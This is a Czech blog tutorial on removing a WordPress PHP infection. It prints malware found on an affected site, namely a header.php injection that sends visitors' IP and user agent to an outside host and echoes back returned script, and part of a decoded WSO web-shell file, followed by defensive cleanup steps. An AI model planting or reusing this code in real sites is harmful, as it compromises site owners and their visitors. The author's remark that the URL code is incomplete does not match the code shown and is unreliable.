Tento tutoriál představuje konkrétní případ, kdy byl infikován blog WordPress. Odstraňte WordPress PHP Virus.
obsah
Onehdy jsem si všiml nějakého podezřelého kódu, který vypadá jako PHP virus pro WordPress. Následující kód PHP byl přítomen v header.php, před čárou </head>.
<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>
Toto je nějaký PHP kód, který vypadá, jako by se pokoušel získat obsah zdroje z externího serveru, ale část, která odkazuje na URL, je neúplná.
Pracovní mechanismus je poněkud složitější a činí tento WordPress PHP Virus pro návštěvníky postižených stránek neviditelný. Místo toho cílí na vyhledávače (Google) a implicitně vede k výraznému snížení počtu návštěvníků dotčených webů.
Podrobnosti o malwaru WordPress PHP Virus
1. Výše uvedený kód je přítomen v header.php.
2. Na serveru se objevil soubor wp-log.php ve složce wp-includes.
3. wp-log.php obsahuje zašifrovaný kód, který je však poměrně snadno dešifrovat.
<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>
Dešifrovat kód malwaru z wp-log.php :
<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("
<pre align=center-->
<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>
Zdá se, že se jedná o škodlivý skript PHP, který obsahuje kód pro zpracování ověřování a akcí se soubory a adresáři na serveru. Je velmi snadno vidět, že tento skript obsahuje proměnné jako $auth_pass (heslo pro ověření), $default_action (výchozí akce), $default_use_ajax (ve výchozím nastavení používá Ajax) a $default_charset (výchozí nastavení znaků).
Je zřejmé, že tento skript má sekci, která kontroluje uživatelské agenty HTTP, aby zablokovali přístup k určitým webovým robotům, jako jsou vyhledávače. Má také sekci, která kontroluje bezpečnostní režim PHP a nastavuje určité pracovní adresáře.
4. Pokud v prohlížeči přistoupíte na wp-log.php, zobrazí se webová stránka s polem autentizace. Na první pohled se zdá, že jde o správce souborů, přes který lze snadno nahrávat nové soubory na cílový server.
Devirujete web WordPress?
Manuální proces devirování vždy zahrnuje nejprve zjištění a pochopení toho, o jakou zranitelnost se jedná.
1. Vytvořte zálohu pro celý web. To musí zahrnovat soubory i databázi.
2. Zjistěte, jak dlouho se virus vyskytuje, a vyhledejte na webovém serveru upravené nebo nově vytvořené soubory v přibližném časovém rámci.
Například pokud chcete vidět soubory .php vytvořený nebo upravený v posledním týdnu, spusťte příkaz na serveru:
find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"
Je to jednoduchá metoda, pomocí které můžete odhalit infikované soubory WordPress a soubory obsahující malware.
3. Zkontrolujte soubor .htaccess podezřelých příkazů. Oprávnění nebo řádky provádění skriptů.
4. Zkontrolujte databázi. Je velmi možné, že některé příspěvky a stránky WordPress byly upraveny malwarem nebo jsou přidávány nové uživatelé s rolí správce.
5. Zkontrolujte oprávnění k zápisu pro složky a soubory. chmod a chown.
Doporučená oprávnění jsou: 644 pro soubory a 755 pro adresáře.
find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;
6. Aktualizujte vše WordPress Plugins / WordPress Themes.
Související: Opravte přesměrování WordPress Hack 2023 (přesměrování viru)
To jsou metody “základní” prostřednictvím kterého můžete odvirovat web / blog WordPress. Pokud máte problémy a potřebujete pomoc, sekce komentářů je otevřená.
Odstraňte virus WordPress PHP
Co je nového
O Stealth
Nadšenec do technologií, s radostí píšu na StealthSettings.com od roku 2006. Mám bohaté zkušenosti s operačními systémy: macOS, Windows a Linux, ale také s programovacími jazyky a bloggingovými platformami (WordPress) a pro online obchody (WooCommerce, Magento, PrestaShop).
Zobrazit všechny příspěvky od StealthMohlo by vás také zajímat...